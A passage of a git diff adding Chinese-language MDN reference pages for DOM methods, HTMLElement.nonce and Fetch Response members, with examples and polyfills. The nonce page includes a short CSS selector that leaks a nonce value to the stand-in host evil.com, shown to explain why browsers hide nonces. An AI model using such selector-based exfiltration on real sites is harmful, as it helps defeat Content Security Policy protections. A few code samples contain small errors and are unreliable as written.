element</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +var span = document.createElement("span"); +parent.append(p); +parent.prepend(span); + +console.log(parent.childNodes); // NodeList [ <span>, <p> ] +</pre> + +<h3 id="Prepending_text">Prepending text</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +parent.append("Some text"); +parent.prepend("Headline: "); + +console.log(parent.textContent); // "Headline: Some text"</pre> + +<h3 id="Appending_an_element_and_text">Appending an element and text</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +parent.prepend("Some text", p); + +console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> + +<h3 id="Element.prepend_is_unscopable"><code>Element.prepend()</code> is unscopable</h3> + +<p><code>prepend()不能在with语句内使用,详情参考</code>{{jsxref("Symbol.unscopables")}}。</p> + +<pre class="brush: js">var parent = document.createElement("div"); + +with(parent) { + prepend("foo"); +} +// ReferenceError: prepend is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>使用下面的代码在IE9或更高版本中模拟<code>prepend()</code>方法:</p> + +<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/Element/prepend()/prepend().md +(function (arr) { + arr.forEach(function (item) { + item.prepend = item.prepend || function () { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.insertBefore(docFrag, this.firstChild); + }; + }); +})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-prepend', 'Element.prepend()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="兼容性">兼容性</h2> + + + +<p>{{Compat("api.Element.prepend")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("ChildNode")}}</li> + <li>{{domxref("Element.append()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("ChildNode.before()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/remove/index.html b/files/zh-cn/web/api/element/remove/index.html new file mode 100644 index 0000000000..b60cab7a0c --- /dev/null +++ b/files/zh-cn/web/api/element/remove/index.html @@ -0,0 +1,96 @@ +--- +title: ChildNode.remove() +slug: orphaned/Web/API/ChildNode/remove +tags: + - API + - ChildNode + - DOM + - Method +translation_of: Web/API/ChildNode/remove +original_slug: Web/API/ChildNode/remove +--- +<p>{{APIRef("DOM")}}</p> + +<p><code><strong>ChildNode.remove()</strong></code> 方法,把对象从它所属的 DOM 树中删除。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>node</var>.remove();</pre> + +<h2 id="示例">示例</h2> + +<h3 id="使用_remove()">使用 <code>remove()</code></h3> + +<pre class="brush: html"><div id="div-01">Here is div-01</div> +<div id="div-02">Here is div-02</div> +<div id="div-03">Here is div-03</div> +</pre> + +<pre class="brush: js">var el = document.getElementById('div-02'); +el.remove(); +// id 为 'div-02' 的 div 被删掉了 +</pre> + +<p>{{EmbedLiveSample('使用_remove()')}}</p> + +<h3 id="ChildNode.remove()_是不可见的"><code>ChildNode.remove()</code> 是不可见的</h3> + +<p>在 <code>with</code> 语句中,<code>remove()</code> 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。</p> + +<pre class="brush: js">with(node) { + remove(); +} +// ReferenceError: remove is not defined</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>You can polyfill the <code>remove()</code> method in Internet Explorer 9 and higher with the following code:</p> + +<pre class="brush: js">//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('remove')) { + return; + } + Object.defineProperty(item, 'remove', { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + this.parentNode.removeChild(this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.ChildNode.remove")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("ChildNode")}} 纯接口。</li> + <li> + <div class="syntaxbox">实现此纯接口的对象类型: {{domxref("CharacterData")}}、{{domxref("Element")}} , 和 {{domxref("DocumentType")}}.</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/replacechildren/index.html b/files/zh-cn/web/api/element/replacechildren/index.html new file mode 100644 index 0000000000..c15e75961e --- /dev/null +++ b/files/zh-cn/web/api/element/replacechildren/index.html @@ -0,0 +1,170 @@ +--- +title: Element.replaceChildren() +slug: Web/API/Element/replaceChildren +translation_of: Web/API/Element/replaceChildren +tags: + - API + - DOM + - Method + - Node + - Element + - Reference + - replaceChildren +browser-compat: api.Element.replaceChildren +--- +<div>{{APIRef("DOM")}}{{seecompattable}}</div> + +<p><strong><code>Element.replaceChildren()</code></strong> 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">// [Throws, Unscopable] +Element.replaceChildren(...<var>nodesOrDOMStrings</var>) // 返回 undefined +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code><var>nodesOrDOMStrings</var></code></dt> + <dd>一组用于替换 <code>Element</code> 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时,<code>Element</code> 的所有后代都将被清空。</dd> +</dl> + +<h3 id="异常">异常</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 当违反了<a href="https://dom.spec.whatwg.org/#concept-node-tree">节点树的约束条件</a>时抛出。</li> +</ul> + +<h2 id="例子">例子</h2> + +<h3 id="清空一个节点">清空一个节点</h3> + +<p><code>replaceChildren()</code> 为清空一个节点的后代提供了非常方便的机制,您只需在父节点不指定任何实参调用该方法即可。</p> + +<pre class="brush: js notranslate">myNode.replaceChildren();</pre> + +<h3 id="在父节点之间转移节点">在父节点之间转移节点</h3> + +<p><code>replaceChildren()</code> 允许您更轻松地在父节点之间转移节点,而无需依赖冗余的循环代码。例如,有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下:</p> + +<pre class="brush: html notranslate"><h2>派对食物列表</h2> + +<main> + <div> + <label for="no">不,谢谢了!</label> + + <select id="no" multiple size="10"> + <option>苹果</option> + <option>橘子</option> + <option>葡萄</option> + <option>香蕉</option> + <option>奇异果</option> + <option>巧克力饼干</option> + <option>花生饼干</option> + <option>巧克力棒</option> + <option>火腿三明治</option> + <option>乳酪三明治</option> + <option>沙拉三明治</option> + <option>冰淇淋</option> + <option>果冻</option> + <option>胡萝卜和鹰嘴豆泥</option> + <option>玛格丽特披萨</option> + <option>腊肠比萨</option> + <option>素比萨</option> + </select> + </div> + + <div class="buttons"> + <button id="to-yes">转移到"是" --&gt;</button> + <button id="to-no">&lt;-- 转移到 "否"</button> + </div> + + <div> + <label for="yes">是的,请!</label> + + <select id="yes" multiple size="10"> + + </select> + </div> +</main></pre> + +<p>使用一些简单的 CSS 将两个选择列表排成一行,并将控制按钮放置在它们之间是很有意义的:</p> + +<pre class="brush: css notranslate">main { + display: flex; +} + +div { + margin-right: 20px; +} + +label, button { + display: block; +} + +.buttons { + display: flex; + flex-flow: column; + justify-content: center; +} + +select { + width: 200px; +}</pre> + +<p>我们要做的是,当按下 “是” 按钮时,将 “否” 列表中的所有选定选项都转移到 “是” 列表中,然后当按下“否”按钮时,将 “是” 列表中的所有选定选项都转移到 “否” 列表中。</p> + +<p>为此,我们为每个按钮提供一个 click 事件处理句柄,该事件句柄将所选选项赋值到第一个常量中,将要转移到的列表中的现有的选项赋值到第二个常量中。然后,它会调用列表的 <code>replaceChildren()</code> 方法,使用延展运算符传入两个常量,进而将两个常量中包含的所有选项转移到目标列表。</p> + +<pre class="brush: js notranslate">const noSelect = document.getElementById('no'); +const yesSelect = document.getElementById('yes'); +const noBtn = document.getElementById('to-no'); +const yesBtn = document.getElementById('to-yes'); + +yesBtn.addEventListener('click', () => { + const selectedTransferOptions = document.querySelectorAll('#no option:checked'); + const existingYesOptions = document.querySelectorAll('#yes option'); + yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions); +}); + +noBtn.addEventListener('click', () => { + const selectedTransferOptions = document.querySelectorAll('#yes option:checked'); + const existingNoOptions = document.querySelectorAll('#no option'); + noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions); +});</pre> + +<p>最终结果如下:</p> + +<p>{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-replacechildren', 'Element.replaceChildren()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Element.replaceChildren")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("ChildNode")}}</li> + <li>{{domxref("Element.prepend()")}}</li> + <li>{{domxref("Element.append()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/replacewith/index.html b/files/zh-cn/web/api/element/replacewith/index.html new file mode 100644 index 0000000000..9f3ef5bd88 --- /dev/null +++ b/files/zh-cn/web/api/element/replacewith/index.html @@ -0,0 +1,112 @@ +--- +title: ChildNode.replaceWith() +slug: orphaned/Web/API/ChildNode/replaceWith +tags: + - DOM + - Node +translation_of: Web/API/ChildNode/replaceWith +original_slug: Web/API/ChildNode/replaceWith +--- +<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> + +<p><code><strong>ChildNode</strong></code><strong><code>.replaceWith()</code></strong> 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象,替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">[Throws, Unscopable] +void ChildNode.replaceWith((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>节点</code></dt> + <dd>一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。</dd> +</dl> + +<h3 id="例外">例外</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 无法在层次结构中的指定点插入节点。</li> +</ul> + +<h2 id="案例">案例</h2> + +<h3 id="Using_replaceWith">Using <code>replaceWith()</code></h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.replaceWith(span); + +console.log(parent.outerHTML); +// "<div><span></span></div>" +</pre> + +<h3 id="ChildNode.replaceWith_is_unscopable"><code>ChildNode.replaceWith()</code> is unscopable</h3> + +<p><code>replaceWith()</code>的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.</p> + +<pre class="brush: js">with(node) { + replaceWith("foo"); +} +// ReferenceError: replaceWith is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>你可以在IE9及更高级的浏览器中使用下面的代码向上兼容<code>replaceWith()</code>的方法:</p> + +<pre class="brush: js">(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('replaceWith')) { + return; + } + Object.defineProperty(item, 'replaceWith', { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.parentNode.replaceChild(docFrag, this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.ChildNode.replaceWith")}}</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> + <li>{{domxref("Node.replaceChild()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..018a276376 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/nonce/index.html @@ -0,0 +1,62 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +translation_of: Web/API/HTMLElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +browser-compat: api.HTMLElement.nonce +--- +<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> + +<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。</p> + +<p>在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce +HTMLElement.nonce = <em>nonce</em></pre> + +<h3 id="访问nonce属性值">访问nonce属性值</h3> + +<p>以前,并不是所有的浏览器都支持 <code>nonce</code> IDL属性,因此在实际应用场景中,尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选:</p> + +<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> + +<p>然而,最新的浏览器版本都隐藏了 <code>nonce</code> 值(返回一个空值)。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> + +<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:</p> + +<pre class="notranslate">script[nonce~=whatever] { + background: url("https://evil.com/nonce?whatever"); +}</pre> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">说明</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="支持的浏览器">支持的浏览器</h2> + +<div> +<p>{{Compat("api.HTMLElement.nonce")}}</p> +</div>
\ No newline at end of file diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..3a1477c435 --- /dev/null +++ b/files/zh-cn/web/api/renderingcontext/index.html @@ -0,0 +1,30 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +<p>{{APIRef("Canvas API")}}</p> + +<p><code><strong>RenderingContext</strong></code> 是一个辅助类型,描述下面任何一个渲染上下文: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 <code>WebGLRenderingContext</code>)。</p> + +<p>这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。</p> + +<h2 id="规范描述">规范描述</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<p> </p>
\ No newline at end of file diff --git a/files/zh-cn/web/api/response/arraybuffer/index.html b/files/zh-cn/web/api/response/arraybuffer/index.html new file mode 100644 index 0000000000..48ec4e65a2 --- /dev/null +++ b/files/zh-cn/web/api/response/arraybuffer/index.html @@ -0,0 +1,150 @@ +--- +title: Response.arrayBuffer() +slug: Web/API/Response/arrayBuffer +translation_of: Web/API/Response/arrayBuffer +tags: + - API + - ArrayBuffer + - Fetch + - Method + - Reference + - Response +browser-compat: api.Response.arrayBuffer +--- +<p>{{APIRef("Fetch")}}{{ SeeCompatTable() }}</p> + +<p> {{domxref("Response")}}上的<strong><code>方法 arrayBuffer()</code></strong> 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">response.arrayBuffer().then(function(buffer) { + // do something with buffer +)};</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>A promise that resolves with an {{domxref("ArrayBuffer")}}.</p> + +<h2 id="例子">例子</h2> + +<p>In our <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-array-buffer">fetch array buffer example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-array-buffer/">fetch array buffer live</a>), we have a Play button. When pressed, the <code>getData()</code> function is run.</p> + +<p>In <code>getData()</code> we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source. When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using <code>arrayBuffer()</code>, decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (<code>source.buffer</code>), then connect the source up to the {{domxref("AudioContext.destination")}}.</p> + +<p>Once <code>getData()</code> has finished running, we start the audio source playing with <code>start(0)</code>, then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)</p> + +<pre class="brush: js">function getData() { + source = audioCtx.createBufferSource(); + + var myRequest = new Request('viper.ogg'); + + fetch(myRequest).then(function(response) { + response.arrayBuffer().then(function(buffer) { + audioCtx.decodeAudioData(buffer, function(decodedData) { + source.buffer = decodedData; + source.connect(audioCtx.destination); + }); + }); + }); +}; + +// wire up buttons to stop and play audio + +play.onclick = function() { + getData(); + source.start(0); + play.setAttribute('disabled', 'disabled'); +}</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(41) }}<sup>[1]</sup><br> + {{ CompatChrome(42) }}<br> + </td> + <td>34<sup>[1]</sup><br> + {{ CompatGeckoDesktop(39)}}</td> + <td>{{ CompatNo }}</td> + <td> + <p>28<sup>[1]</sup><br> + 29</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In Chrome 42, Firefox 34 and Opera 28 support for <code>arrayBuffer()</code> was hidden behind a preference.</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> + +<div id="sVim-command" class="hidden">-- NORMAL --</div> diff --git a/files/zh-cn/web/api/response/blob/index.html b/files/zh-cn/web/api/response/blob/index.html new file mode 100644 index 0000000000..89444de3d4 --- /dev/null +++ b/files/zh-cn/web/api/response/blob/index.html @@ -0,0 +1,142 @@ +--- +title: Response.blob() +slug: Web/API/Response/blob +translation_of: Web/API/Response/blob +tags: + - API + - Blob + - Fetch + - Method + - Reference + - Response +browser-compat: api.Response.blob +--- +<p>{{APIRef("Fetch")}}</p> + +<p>{{domxref("Response")}} mixin的 <strong><code>blob()</code></strong>方法使用一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。</p> + +<h2 id="句法">句法</h2> + +<pre class="brush: js">response.blob().then(function(myBlob) { + // do something with myBlob +});</pre> + +<h3 id="参数">参数</h3> + +<p>None.</p> + +<h3 id="返回值">返回值</h3> + +<p>A promise that resolves with a {{domxref("Blob")}}.</p> + +<h2 id="例子">例子</h2> + +<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch request example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)中,我们使用<a href="/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/RequestFilter">Request.Request</a>构造方法创建了一个新的request对象,然后使用它来获取一个JPG文件。当fetch成功的时候,我们使用blob()从response中读取一个<a href="/zh-CN/docs/Web/API/Blob">Blob</a>对象,并使用<a href="/zh-CN/docs/Web/API/URL/createObjectURL">URL.createObjectURL</a> 将它放入一个object URL ,然后把URL设置为<a href="/zh-CN/docs/Web/HTML/Element/img">img</a>元素的src属性以显示这张图片。</p> + +<p> </p> + +<pre class="brush: js">var myImage = document.querySelector('img'); + +var myRequest = new Request('flowers.jpg'); + +fetch(myRequest) +.then(function(response) { + return response.blob(); +}) +.then(function(myBlob) { + var objectURL = URL.createObjectURL(myBlob); + myImage.src = objectURL; +}); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">说明</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-blob','blob()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(42) }} [1]<br> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop(39)}} [2]</td> + <td>{{ CompatNo }}</td> + <td> + <p>29 [3]</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Behind a preference in version 41.</p> + +<p>[2] Behind a preference starting with version 34.</p> + +<p>[3] Behind a preference in version 28.</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/body/index.html b/files/zh-cn/web/api/response/body/index.html new file mode 100644 index 0000000000..ffd78b8dfe --- /dev/null +++ b/files/zh-cn/web/api/response/body/index.html @@ -0,0 +1,94 @@ +--- +title: Response.body +slug: Web/API/Response/body +translation_of: Web/API/Response/body +tags: + - API + - Fetch + - Property + - Reference + - Streams + - Response +browser-compat: api.Response.body +--- +<div>{{APIRef("Fetch")}}</div> + +<p>{{domxref("Response")}} mixin的只读getter属性 <strong><code>body</code></strong> 用于暴露其body内容的{{domxref("ReadableStream")}}(流读取)。</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">var stream = responseInstance.body;</pre> + +<h3 id="Value">Value</h3> + +<p>一个 {{domxref("ReadableStream")}}.</p> + +<h2 id="例程">例程</h2> + +<p>在我们的 <a href="https://mdn.github.io/dom-examples/streams/simple-pump.html">simple stream pump</a> 例程中我们fetch一个图片地址,使用<code>response.body</code>暴露响应的流,用{{domxref("Response.getReader()", "ReadableStream.getReader()")}}创建一个读取器,然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。</p> + +<pre class="brush: js">const image = document.getElementById('target'); + +// 请求原始图片 +fetch('./tortoise.png') +// 取出body +.then(response => response.body) +.then(body => { + const reader = Response.getReader(); + + return new ReadableStream({ + start(controller) { + return pump(); + + function pump() { + return reader.read().then(({ done, value }) => { + // 读不到更多数据就关闭流 + if (done) { + controller.close(); + return; + } + + // 将下一个数据块置入流中 + controller.enqueue(value); + return pump(); + }); + } + } + }) +}) +.then(stream => new Response(stream)) +.then(response => response.blob()) +.then(blob => URL.createObjectURL(blob)) +.then(url => console.log(image.src = url)) +.catch(err => console.error(err));</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-body','body')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div>{{Compat("api.Response.body")}}</div> + +<p> </p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a href="/en-US/docs/Web/API/Streams_API">Streams API</a></li> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/bodyused/index.html b/files/zh-cn/web/api/response/bodyused/index.html new file mode 100644 index 0000000000..2e9428b9c2 --- /dev/null +++ b/files/zh-cn/web/api/response/bodyused/index.html @@ -0,0 +1,142 @@ +--- +title: Response.bodyUsed +slug: Web/API/Response/bodyUsed +translation_of: Web/API/Response/bodyUsed +tags: + - API + - Fetch + - Property + - Reference + - bodyUsed + - Response +browser-compat: api.Response.bodyUsed +--- +<p>{{APIRef("Fetch")}}{{ SeeCompatTable }}</p> + +<p><strong><code>bodyUsed</code></strong><code> 是</code>{{domxref("Response")}} mixin中的一个<code>只读属性。用以表示该body是否被使用过。</code></p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">var myBodyUsed = response.bodyUsed;</pre> + +<h3 id="可能的值">可能的值</h3> + +<p>{{domxref("Boolean")}}.</p> + +<h2 id="示例">示例</h2> + +<p>在以下<a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch 请求示例</a>(运行 <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求,来获得一张JPG图片。当fetch成功后,通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL,并作为 {{htmlelement("img")}}元素的src源来显示图片。</p> + +<p>注意:<code>在response.blob()被调用前后,</code>输出<code>response.bodyUsed的差异。</code></p> + +<h3 id="HTML_Content">HTML Content</h3> + +<pre class="brush: html"><img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"> +</pre> + +<h3 id="JS_Content">JS Content</h3> + +<pre 